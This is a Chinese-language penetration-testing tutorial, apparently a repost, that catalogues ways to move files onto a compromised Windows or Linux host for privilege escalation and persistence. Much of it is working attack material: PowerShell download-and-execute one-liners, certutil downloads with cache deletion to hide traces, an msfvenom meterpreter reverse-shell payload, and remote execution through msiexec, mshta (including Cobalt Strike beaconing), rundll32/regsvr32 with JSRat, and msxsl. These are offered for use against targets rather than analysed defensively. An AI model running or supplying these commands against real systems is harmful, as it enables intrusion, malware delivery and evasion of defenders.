Windows&Linux文件傳輸方式總結


在滲透過程中,通常會需要向目標主機傳送一些文件,來達到權限提升、權限維持等目的,本篇文章主要介紹一些windows和Linux下常用的文件傳輸方式。

Windows

利用FTP協議上傳

在本地或者VPS上搭建FTP服務器,通過簡單的FTP命令即可實現文件的上傳。常用的FTP命令:

open <服務器地址> :連接服務器
cd <目錄名> :進入指定目錄
lcd <文件夾路徑> : 定位本地文件夾
type:查看當前的傳輸方式
ascii:設定傳輸方式為ASCII碼方式 
binary:設定傳輸方式為二進制方式
put <文件名> [newname]  上傳
send <文件名> [newname]  上傳
get:下載單個文件  get filename [newname]  (filename為下載的ftp服務器上的文件名,newname為保存在本都計算機上時使用的名字,如果不指定newname,文件將以原名保存。
mget:下載多個文件mget filename [filename ....](mget命令支持通配符“*”和“?”,比如:mget  *.jpg 表示下載ftp服務器當前目錄下的所有擴展名為jpg的文件。)
prompt:關閉/打開互交提示。

例如,我們可以通過在攻擊主機上搭建FTP服務,之后在目標主機上通過cmd下的ftp進行遠程連接:
首先,在攻擊主機使用IPOP啟動一個簡易的FTP服務

image-20211207180311854

image-20211207180439109

powershell

遠程下載文件保存在本地:

powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.28.128/imag/evil.txt','evil.exe')

image-20211207182148481

遠程執行命令,無文件落地:

powershell -nop -w hidden -c "IEX ((new-object
net.webclient).downloadstring('http://192.168.28.128/imag/evil.txt'))"

bitsadmin

bitsadmin是一個命令行工具,可用於創建下載或上傳並監視其進度,自windows7 以上版本內置bitsadmin,它可以在網絡不穩定的狀態下下載文件,出錯會自動重試,在比較復雜的網絡環境下,有着不錯的性能。
我們可以在cmd中輸入bitsadmin來查看其使用說明:

image-20211207204410507

我們可以通過在目標主機上執行以下命令來實現遠程文件下載:

bitsadmin /transfer n http://192.168.174.1:1234/evil.txt C:\evil.exe

image-20211207204521973

⭐certutil

certutil.exe是一個命令行程序,作為證書服務的一部分安裝,你可以使用Certutil.exe轉儲和顯示證書頒發機構(CA)配置信息,配置證書服務,備份和還原CA組件,以及驗證證書,密鑰對和證書鏈。xp-win10都自帶。
我們可以在cmd中輸入以下命令來查看certutil的具體使用方法:

certutil -?

image-20211207205355831

由於certutil下載文件都會留下緩存,所以一般都建議下載完文件后對緩存 進行刪除。

注:緩存目錄為:"%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content"

#下載文件
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt test.php
#刪除緩存
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt delete

image-20211207205603535

ipc$文件共享

IPC$(Internet Process Connection)是共享"命名管道"的資源,它是為了讓進程間通信而開放的命名管道,通過提供可信任的用戶名和口令,連接雙方可以建立安全的通道並以此通道進行加密數據的交換,從而實現對遠程計算機的訪問。

#建立遠程IPC連接
net use \\192.168.28.128\ipc$ /user:administrator "abc123!"
#復制遠程文件到本地主機
copy \\192.168.28.128\c$\2.txt D:\test

image-20211207223218460

IEExec

IEexec.exe應用程序是.NET Framework附帶程序,存在於多個系統白名單內。

image-20211207224805913

生成Payload:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.28.131 lport=4444 -f exe -o evil.exe

使用管理員身份打開cmd,分別運行下面兩條命令:

C:\Windows\Microsoft.NET\Framework64\v2.0.50727>caspol.exe -s offC:\Windows\Microsoft.NET\Framework64\v2.0.50727>IEExec.exe http://192.168.28.131/evil.exe

image-20211207224904316

msiexec

msiexec是windows自帶的cmd工具,支持遠程下載功能,攻擊者可以將msi文件上傳到服務器並執行,下面通過一個實例做演示說明,首先我們通過msfvenom來構造一個惡意的msi程序(這里以彈計算器為例,在實戰中可以根據需要進行修改),並啟動一個簡易HTTP服務:

image-20211207210101330

之后在目標主機上通過msiexec來實現遠程下載文件並執行,該方法同樣可以實現無文件落地攻擊:

msiexec /q /i http://192.168.174.131:1234/evil.msi	

image-20211207210247867

mshta

mshta.exe是微軟Windows操作系統相關程序,英文全稱Microsoft HTML Application,可翻譯為微軟超文本標記語言應用,用於執行.HTA文件,我們可以在本地構建hta文件,之后通過目標主機的mshta來遠程下載並執行,例如在本地創建以下hta文件:

<HTML><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><HEAD><script language="VBScript">Set objShell = CreateObject("Wscript.Shell")objShell.Run "cmd.exe /c calc.exe" // 待執行的命令self.close</script><body>Demo</body></HEAD></HTML>	

之后在遠程目標主機上執行以下命令實現下載執行操作,且無文件落地:

mshta http://192.168.174.1:1234/evil.hta

image-20211207214923011

如果你想要使得目標主機CS上線,那么也可以通過CS來構造hta文件:

image-20211207214948286

image-20211207215001775image-20211207215007634

之后在本地啟動一個HTTP服務:

image-20211207215018377之后在cmd下通過mshta來下載hta文件並運行,使其上線,且無文件落地:

mshta http://192.168.174.131:1234/evil.hta	

image-20211207215038118

CS中成功上線:

image-20211207215046368

rundll32

Rundll32.exe功能是以命令行的方式調用動態鏈接程序庫,系統中還有一個Rundll64.exe文件,它的意思是"執行64位的DLL文件", 其命令行下的使用方法為:Rundll32.exe DLLname,Functionname Arguments,其中DLLname為需要執行的DLL文件名,Functionname為前邊需要執行的DLL文件的具體引出函數,Arguments為引出函數的具體參數。

這里我們使用JSRat來做演示,JSRat是一個命令和控制框架,僅為rundll32.exe和regsvr32.exe生成惡意程序,項目地址:https://github.com/Hood3dRob1n/JSRat-Py.git

首先我們在本地運行JSRat監聽本地1234端口:

./JSRat.py -i 192.168.174.131 -p 1234

image-20211207220521619

之后通過訪問client comand 連接客戶端執行命令:

image-20211207220611657

之后復制上述惡意命令在目標主機cmd下執行:

image-20211207220624801

之后成功返回一個會話如下所示:

image-20211207220642239

regsvr32

Regsvr32命令用於注冊COM組件,是Windows系統提供的用來向系統注冊控件或者卸載控件的命令,以命令行方式運行,我們可以通過該命令來實現遠程文件下載,和上面類似,這里也借助JSRat來實現,首先我們在本地運行JSRat監聽本地1234端口:

./JSRat.py -i 192.168.174.131 -p 1234

image-20211207220904410

之后通過訪問client comand 連接查看客戶端執行命令:

image-20211207220915736

之后復制上述惡意點在目標主機cmd下執行:

image-20211207220927478

之后成功返回一個會話

image-20211207221005334

-------(以上為windows自帶工具)------

wget

Windows環境下,可上傳免安裝的可執行程序wget.exe到目標機器,使用wget下載文件。

wget.exe下載:https://eternallybored.org/misc/wget

wget -O "evil.txt" http://192.168.28.128/imag/evil.txt

image-20211207221355597

curl

cURL是一個利用URL語法在命令行下工作的文件傳輸工具,1997年首次發行,它支持文件上傳和下載,所以是綜合傳輸工具,但按傳統,習慣稱cURL為下載工具,cURL還包含了用於程序開發的libcurl。
當目標主機中安裝了curl時我們可以通過以下方式來實現遠程下載文件到本地:

curl http://192.168.174.1:1234/evil.exe -o evil.exe

image-20211207221858315

netcat

當目標主機上安裝了netcat是我們可以使用netcat來實現文件下載,當然這種場景在實戰中少之又少

首先,我們在本地使用nc起一個監聽,並傳遞我們想要傳輸的文件名稱:

nc -lvp 4444 < evil.exe

image-20211207222031458

之后在目標主機上下載文件:

nc  192.168.174.131 4444 >evil.exe

image-20211207222056699

python

當目標主機內安裝了python時,我們可以在cmd中使用python來實現遠程文件下載:

>>> import urllib2>>> u = urllib2.urlopen('http://192.168.174.1:1234/evil.hta')>>> localfile = open('local_file.hta','w')>>> localfile.write(u.read())>>> localfile.close()

image-20211207222801172

WinScp

WinSCP是一個Windows環境下使用SSH的開源圖形化SFTP客戶端。

#上傳winscp.exe /console /command "option batch continue" "option confirm off" "open sftp://bypass:abc123!@192.168.28.131:22" "option transfer binary" "put D:\1.txt /tmp/" "exit" /log=log_file.txt#下載winscp.exe /console /command "option batch continue" "option confirm off" "opensftp://bypass:abc123!@192.168.28.131:22" "option transfer binary" "get /tmp D:\test\app\""exit" /log=log_file.txt

使用winscp.exe 作為命令行參數執行遠程上傳/下載操作

image-20211207224637895

MSXSL.EXE

msxsl.exe是微軟用於命令行下處理XSL的一個程序,所以通過他,我們可以執行JavaScript進而執行系統命令。

下載地址為:https://www.microsoft.com/en-us/download/details.aspx?id=21714

msxsl.exe 需要接受兩個文件,XML及XSL文件,可以遠程加載,具體方式如下:

msxsl http://192.168.28.128/scripts/demo.xml http://192.168.28.128/scripts/exec.xsl

demo.xml:

<?xml version="1.0"?><?xml-stylesheet type="text/xsl" href="exec.xsl" ?><customers><customer><name>Microsoft</name></customer></customers>

exec.xsl:

<?xml version='1.0'?><xsl:stylesheet version="1.0"xmlns:xsl="http://www.w3.org/1999/XSL/Transform"xmlns:msxsl="urn:schemas-microsoft-com:xslt"xmlns:user="http://mycompany.com/mynamespace"><msxsl:script language="JScript" implements-prefix="user">function xml(nodelist) {var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe");return nodelist.nextNode().xml;}</msxsl:script><xsl:template match="/"><xsl:value-of select="user:xml(.)"/></xsl:template></xsl:stylesheet>

image-20211207225632036

Linux

ftp(一般自帶)

ftp在linux一般都自帶,我們可以在終端輸入ftp進行交互,所以我們可以在本地搭建FTP服務,之后在目標主機上通過終端下的ftp進行遠程連接來下載文件

可以使用python3的pyftpdlib模塊來搭建ftp:

安裝

pip install pyftpdlib

啟動

python -m pyftpdlib -p 2121

至此一個簡單的FTP服務器已經搭建完成,訪問 ftp://127.0.0.1:2121 即可

(默認IP為 127.0.0.1 、端口為 2121

可選參數:

-i 指定IP地址(默認為本機的IP地址)-p 指定端口(默認為2121)-w 寫權限(默認為只讀)-d 指定目錄 (默認為當前目錄)-u 指定用戶名登錄-P 設置登錄密碼

也可以使用IPOP啟動一個簡易的FTP服務:

image-20211209144120792

之后在目標主機上遠程下載evil.exe文件:

image-20211209144200887

tftp

使用下面的命令將服務器本地文件上傳到遠程主機:

(從服務器下載遠程主機的文件也類似,不再演示)

第一步,遠程主機運行TFTP服務

apt-get install atftpd  //安裝tftp服務程序mkdir /tmp/backup  //創建目錄chmod 777 /tmp/backup  //修改權限sudo atftpd --daemon --port 69 /tmp/backup  //啟動服務程序

image-20211209144536396

第二步,Linux服務器創建測試文件並使用tftp將文件上傳到遠程主機

echo "sent by tftp." > tftp.senttftp 192.168.43.237put tftp.sent tftp.get

image-20211209144603732

第三步,遠程主機查看接收到的文件

image-20211209144613915

sftp

sftp是Secure File Transfer Protocol的縮寫,安全文件傳送協議。可以為傳輸文件提供一種安全的網絡的加密方法。sftp 與 ftp 有着幾乎一樣的語法和功能。SFTP 為 SSH的其中一部分。

用法:

運行SSH服務

systemctl start sshd

連接遠程服務器:

sftp username@ip

回車之后輸入服務器密碼即可連接成功。

將文件上傳到服務器上:

put [本地文件的地址] [服務器上文件存儲的位置]

將服務器上的文件下載到本地:

get [服務器上文件存儲的位置] [本地要存儲的位置]

image-20211209145510099

⭐scp

scp是secure copy的簡寫,用於在Linux下進行遠程拷貝文件/目錄的命令。

和它類似的命令有cp,不過cp只是在本機進行拷貝不能跨服務器,而且scp傳輸是加密的。可能會稍微影響一下速度。當你服務器硬盤變為只讀 read only system時,用scp可以幫你把文件移出來。

另外,scp還非常不占資源,不會提高多少系統負荷,在這一點上,rsync就遠遠不及它了。雖然 rsync比scp會快一點,但當小文件眾多的情況下,rsync會導致硬盤I/O非常高,而scp基本不影響系統正常使用。scp在跨機器復制的時候為了提高數據的安全性,使用了ssh連接和加密方式,如果機器之間配置了ssh免密碼登錄,那在使用scp的時候密碼都不用輸入。

安裝:

yum install -y openssh-clients

使用:

從本地復制到遠程

# 拷貝文件scp /home/test/test.txt root@192.168.0.2:/home/test/# 拷貝目錄scp -r /home/test/ root@192.168.0.2:/home/test/

從遠程復制到本地

# 拷貝文件scp root@192.168.0.2:/home/test/test.txt /home/test/# 拷貝目錄scp -r root@192.168.0.2:/home/test/ v/home/test/

rsync

rsync(remote synchronize)是一個遠程數據同步工具,可通過 LAN/WAN 快速同步多台主機之間的文件。也可以使用 rsync 同步本地硬盤中的不同目錄。

rsync 具有如下的基本特性:

可以鏡像保存整個目錄樹和文件系統可以很容易做到保持原來文件的權限、時間、軟硬鏈接等無須特殊權限即可安裝優化的流程,文件傳輸效率高可以使用 rsh、ssh 方式來傳輸文件,當然也可以通過直接的 socket 連接支持匿名傳輸,以方便進行網站鏡象

在使用 rsync 進行遠程同步時,可以使用兩種方式:遠程 Shell 方式(建議使用 ssh,用戶驗證由 ssh 負責)和 C/S 方式(即客戶連接遠程 rsync 服務器,用戶驗證由 rsync 服務器負責)。
無論本地同步目錄還是遠程同步數據,首次運行時將會把全部文件拷貝一次,以后再運行時將只拷貝有變化的文件(對於新文件)或文件的變化部分(對於原有文件)。

rsync 的命令格式為:

1)本地使用:rsync [OPTION...] SRC... [DEST]2)通過遠程 Shell 使用:拉: rsync [OPTION...] [USER@]HOST:SRC... [DEST]推: rsync [OPTION...] SRC... [USER@]HOST:DEST3)訪問 rsync 服務器:拉: rsync [OPTION...] [USER@]HOST::SRC... [DEST]推: rsync [OPTION...] SRC... [USER@]HOST::DEST拉: rsync [OPTION...] rsync://[USER@]HOST[:PORT]/SRC... [DEST]推: rsync [OPTION...] SRC... rsync://[USER@]HOST[:PORT]/DEST

例子,使用下面的命令將服務器本地文件上傳到遠程主機:

echo "sent by rsync." > rsync.sent
rsync -v -u -a -stat rsync.sent user1@192.168.43.237:/home/user1/rsync.get

image-20211209152853645

遠程主機查看接收到的文件

image-20211209152908658

rz、sz(lrzsz)

rz sz指令可以實現linux和windows之間的文件傳輸,但要求在windows客戶端要安裝Xshell或SecureCRT遠程連接工具。

rz指令和sz指令是一對上傳與下載的指令。它們的軟件包名為lrzsz。

  • rz : 用於linux與windows之間的文件上傳
  • sz : 用於linux與windows之間的文件下載

工具的安裝: 

yum install lrzsz -y

rz sz指令使用很簡單,執行rz 指令,遠程連接工具會彈出windows文件選擇窗口,只要選擇要上傳的文件即可

文件上傳:

image-20211209151626310

image-20211209151635217

文件下載:

image-20211209151651955

⭐wget(自帶)

wget 是一個從網絡上自動下載文件的自由工具,支持通過 HTTP、HTTPS、FTP 三個最常見的 TCP/IP協議下載,並可以使用HTTP 代理。"wget" 這個名稱來源於 “World Wide Web” 與 “get” 的結合。當目標主機上有安裝wget時,我們可以直接通過該應用程序來實現遠程文件下載:

wget http://192.168.174.1:1234/evil.sh

image-20211209153059343

cURL

cURL是一個利用URL語法在命令行下工作的文件傳輸工具,1997年首次發行,它支持文件上傳和下載,所以是綜合傳輸工具,但按傳統,習慣稱cURL為下載工具,cURL還包含了用於程序開發的libcurl,當目標主機中安裝了curl時我們可以通過以下方式來實現遠程下載文件到本地:

curl http://192.168.174.1:1234/evil.sh -o evil.sh

image-20211209153132644

netcat

首先,我們在本地使用nc起一個監聽,並傳遞我們想要傳輸的文件名稱:

image-20211209153221789

之后在目標主機上下載文件:

image-20211209153231729

image-20211209153237525

Perl(一般自帶)

Perl是目前很受歡迎的主流腳本語言,linux主機一般都自帶perl環境,我們可以在終端中使用vim來編輯一個perl腳本,之后執行perl來實現遠程文件下載:

#!perl#!/usr/bin/perluse LWP::Simple;getstore("http://192.168.174.1:1234/evil.sh","evil.sh");

image-20211209153520138

之后在終端運行該perl文件即可:

image-20211209153529559

python

Python是目前很受歡迎的主流腳本語言,當目標主機內安裝了python時,我們可以在shell中使用python來實現遠程文件下載:

Type "help", "copyright", "credits" or "license" for more information.>>> import urllib2>>> u = urllib2.urlopen('http://192.168.174.1:1234/evil.sh')>>> localfile = open('local_file.sh','w')>>> localfile.write(u.read())>>> localfile.close()>>>

image-20211209153831370

Ruby

當目標主機內安裝了Ruby時,我們可以在終端使用vim來編輯一個Ruby腳本,之后執行Ruby來實現遠程文件下載:

#!ruby#!/usr/bin/rubyrequire 'net/http'Net::HTTP.start("192.168.174.1") { |http|r = http.get("/evil.sh")open("save_location.sh", "wb") { |file|file.write(r.body)}}

image-20211209154125558

成功下載文件到本地

image-20211209154135417

PHP

當目標主機內安裝了PHP時,我們可以在終端使用vim來編輯一個PHP腳本,之后執行PHP來實現遠程文件下載:

<?php $data = @file("http://example.com/file.sh");        $lf = "local_file.sh";        $fh = fopen($lf, 'w');        fwrite($fh, $data[0]);        fclose($fh);?>

image-20211209154244934

成功下載遠程文件到本地

image-20211209154256075

參考

《應急響應實戰筆記》——bypass

https://xz.aliyun.com/t/7937

https://www.cnblogs.com/anay/p/8682031.html

https://www.freebuf.com/articles/system/265765.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM